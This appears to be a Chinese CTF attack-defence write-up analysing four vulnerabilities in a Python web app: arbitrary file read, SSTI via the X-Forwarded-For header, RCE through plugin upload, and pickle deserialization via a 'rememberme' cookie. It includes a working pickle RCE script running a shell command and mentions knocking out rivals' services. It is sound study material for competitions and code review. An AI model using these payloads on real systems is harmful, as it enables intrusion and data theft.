当前位置: 首页 > news >正文

上海市赛/磐石行动2025决赛awd web2-python 4个漏洞详解

前言

赛中一直被宕,一直重启,没时间审代码,赛后也是猛猛挖了一波,平时不爱看代码,正好锻炼一下代码审计的能力

漏洞一:任意文件读取

这是最简单的一个漏洞,但是需要以admin的身份登录才能访问

在查看系统日志这里,通过path传参实现任意文件读取,不用审代码就能找到

漏洞二:模板注入

这个api并没有写前端来实现,需要审计代码,并且没有要求admin登录,所以即使你没有登录成功也可以从这里拿到flag

漏洞代码位于handlers/api/getip.py

class JsonpHandler:tpl = """
{{callback}}({real_ip: "{{real_ip}}"
});"""def GET(self):callback = xutils.get_argument_str("callback", "callback")real_ip = get_real_ip()self.tpl = self.tpl.replace("{{real_ip}}", real_ip)return xtemplate.render_text(self.tpl, real_ip = real_ip, callback = callback)

可以看到这里通过get_real_ip()函数来获取real_ip,这里的real_ip会导致ssti

def get_real_ip():real_ip_list = web.ctx.env.get("HTTP_X_FORWARDED_FOR")if real_ip_list != None and len(real_ip_list) > 0:return real_ip_list.split(",")[0]return web.ctx.env.get("REMOTE_ADDR")

在请求头里添加xff

可以看到成功解析了{{7*7}},下面使用最简单的payload读flag就行了,没有任何过滤

成功

漏洞三:上传插件rce

漏洞代码位置handlers/plugin/plugin_upload.py

class PluginUploadHandler:pattern_str = r"[0-9a-zA-Z\-_]"pattern = re.compile(pattern_str)def check_plugin_id(self, plugin_id=""):if not self.pattern.match(plugin_id):return "plugin_id 必须满足%r规则" % self.pattern_strreturn Nonedef POST(self):content = xutils.get_argument_str("content")meta = xutils.load_script_meta_by_code(content)plugin_id = meta.get_str_value("plugin_id")if plugin_id == "" or plugin_id == None:return FailedResult(code="400", message="id 不能为空")err = self.check_plugin_id(plugin_id)if err != None:return FailedResult(code="400", message=err)xutils.makedirs(xconfig.FileConfig.plugins_upload_dir)plugin_path = os.path.join(xconfig.FileConfig.plugins_upload_dir, plugin_id + ".py")with open(plugin_path, "w+") as fp:fp.write(content)# 加载插件try:load_plugin_file(plugin_path, raise_exception=True)return SuccessResult()except Exception as e:return FailedResult(message=str(e))xurls = (r"/plugins_upload", PluginUploadHandler,
)

这里有一个必传的参数plugin_id,通过get_str_value()函数获取

    def get_str_value(self, key, default_value = ""):value = self.meta_dict.get(key)if value is None:return default_valueelse:return str(value)
    def load_meta_by_code(self, code):for line in code.split("\n"):if not line.startswith("#"):continueline = line.lstrip("#\t ")if not line.startswith("@"):continueline = line.lstrip("@")# 去掉注释部分meta_line  = line.split("#", 1)[0]# 拆分元数据meta_parts = meta_line.split(maxsplit = 1)meta_key   = meta_parts[0]# meta_value = meta_parts[1:]if len(meta_parts) == 1:meta_value = ''else:meta_value = meta_parts[1]meta_value = meta_value.strip()self.add_item(meta_key, meta_value)self.add_list_item(meta_key, meta_value)return self.meta_dict

可以得知在传参的时候前面要跟上#和@

在我们上传成功之后通过load_plugin_file()函数加载插件

def load_plugin_file(fpath, fname=None, raise_exception=False):if not is_plugin_file(fpath):returnif fname is None:fname = os.path.basename(fpath)dirname = os.path.dirname(fpath)# 相对于插件目录的名称plugin_name = fsutil.get_relative_path(fpath, xconfig.PLUGINS_DIR)vars = dict()vars["script_name"] = plugin_namevars["fpath"] = fpathtry:meta = xutils.load_script_meta(fpath)context = PluginContext()context.is_external = Truecontext.icon_class = DEFAULT_PLUGIN_ICON_CLASS# 读取meta信息context.load_from_meta(meta)context.fpath = fpathcontext.plugin_id = meta.get_str_value("plugin_id")context.meta = metacontext.plugin_name = plugin_nameif context.plugin_id == "":# 兼容没有 plugin_id 的数据context.plugin_id = fpathif meta.has_tag("disabled"):return# 2.8版本之后从注解中获取插件信息module = xutils.load_script(fname, vars, dirname=dirname)main_class = vars.get("Main")return load_plugin_by_context_and_class(context, main_class)except Exception as e:# TODO 增加异常日志xutils.print_exc()if raise_exception:raise e

通过load_script()->exec_python_code执行上传的插件中的python代码

def load_script(name, vars = None, dirname = None, code = None):"""加载脚本@param {string} name 插件的名词,和脚本目录(/data/scripts)的相对路径@param {dict} vars 全局变量,相当于脚本的globals变量@param {dirname} dirname 自定义脚本目录@param {code} 指定code运行,不加载文件"""code = _load_script_code(name, dirname)return exec_python_code(name, code, record_stdout = False, raise_err = True, vars = vars)

exp

这里是没有回显的,可以配合前面的任意文件读取读flag或者把别人的服务给下掉之类的,怀疑当时就是有人用这里一直下全场的服务,导致大家会突然宕

漏洞4:pickle反序列化

这是最复杂的一个漏洞了,花费的时间最长,还是太菜了呜呜呜~~~

直接全局搜索危险函数pickle.loads,发现有两处

    def decode(self, session_data):"""decodes the data to get back the session dict """pickled = base64.decodestring(session_data)return pickle.loads(pickled)
def get_user_from_cookie():sid = get_session_id_from_cookie()user = get_user_by_sid(sid)if user is not None:return usercookies = web.cookies()remeberme = cookies.get("rememberme", "")if remeberme != "":user = pickle.loads(bytes.fromhex(remeberme))return user

但是进一步看会发现decode函数所在的类根本没使用,所以只需要看一下哪里调用了get_user_from_cookie()

继续全局搜索

def get_current_user():if TestEnv.has_login:return get_user_by_name(TestEnv.login_user_name)user = get_user_from_token()if user != None:return userif not hasattr(web.ctx, "env"):# 尚未完成初始化return Nonereturn get_user_from_cookie()

可以看到只有get_content_user()函数调用了,继续搜

发现有好几个接口都调用了这个函数,但是出了/system/index这个接口之外都加了一个修饰器

@xauth.login_required("admin")

而我们要想执行到

user = pickle.loads(bytes.fromhex(remeberme))

就不能进入

    if user is not None:return user

所以我们要让user为空,可以看到user是通过sid来获取的

user=get_user_by_sid(sid)

所以我们的思路是把sid置空或者传一个不存在的sid,让他通过rememberme参数来获取user

从而执行pickle.loads

如果这个接口加了@xauth.login_required("admin"),就必须要登录才能访问,而登录必须要sid,所以我们只能通过唯一的不需要登录的接口/system/index来打

把序列化的字符串hex编码一下传参即可

附上exp

import pickle, osclass RCE:def __reduce__(self):return (os.system, ("cat /flag > /tmp/flag.txt",))payload = pickle.dumps(RCE())
hex_payload = payload.hex()
print(hex_payload)

成功

特别说明:或许是环境的问题,用windwos跑出来的payload打不通,Linux跑出来的刚开始貌似也没成功(可能是pickle版本的问题),但pyy学长看了一眼突然好了 可恶的环境浪费我两小时

 

http://www.xdnf.cn/news/1384543.html

相关文章:

  • Java 将HTML文件、HTML字符串转换为图片
  • 抖音基于Flink的DataOps能力实践
  • 洞悉核心,驭数而行:深入理解 Oracle SQL 优化器(RBO 与 CBO)的性能调优哲学
  • SQL优化--OR
  • 医疗AI时代的生物医学Go编程:高性能计算与精准医疗的案例分析(四)
  • iOS混淆工具实战 电商类 App 的数据与交易安全防护
  • [awesome-nlp] docs | 精选NLP资源 | 分类
  • 三遥馈线终端:全球配电智能化浪潮下的核心设备与市场格局
  • 技术演进中的开发沉思-83 Linux系列: 信号
  • 把 AI 塞进「智能门锁」——基于指纹和语音双模态的零样本离线门禁系统
  • Spring Boot中MyBatis Provider注解实现动态SQL
  • 云手机中的多开功能具体是指什么?
  • DVWA靶场通关笔记-暴力破解(Impossible级别)
  • Android 14 PMS源码分析
  • 临床研究三千问——如何将临床问题转换成科学问题(7)
  • 【网络安全领域】边界安全是什么?目前的发展及应用场景
  • Nessus 是一款免费功能强大的漏洞扫描工具,广泛用于网络安全评估。
  • eslasticsearch+ik分词器+kibana
  • 【MySQL】练习12-2:配置复制
  • 国产数据库转型指南:DBA技能重构与职业发展
  • Unity RectTransform容易混淆的基础问题
  • 3471. 找出最大的几近缺失整数
  • MyBatis延迟加载
  • LaunchScreen是啥?AppDelegate是啥?SceneDelegate是啥?ContentView又是啥?Main.storyboard是啥?
  • DoIP路由激活报文
  • 玄机靶场 | 第九章-blueteam 的小心思3
  • day083-Filebeat数据采集案例与Kibana可视化应用
  • 创建uniApp小程序项目vue3+ts+uniapp
  • Docker 核心技术:Union File System
  • ros2与gazebo harmonic机械臂仿真项目Moveit2YoloObb的优化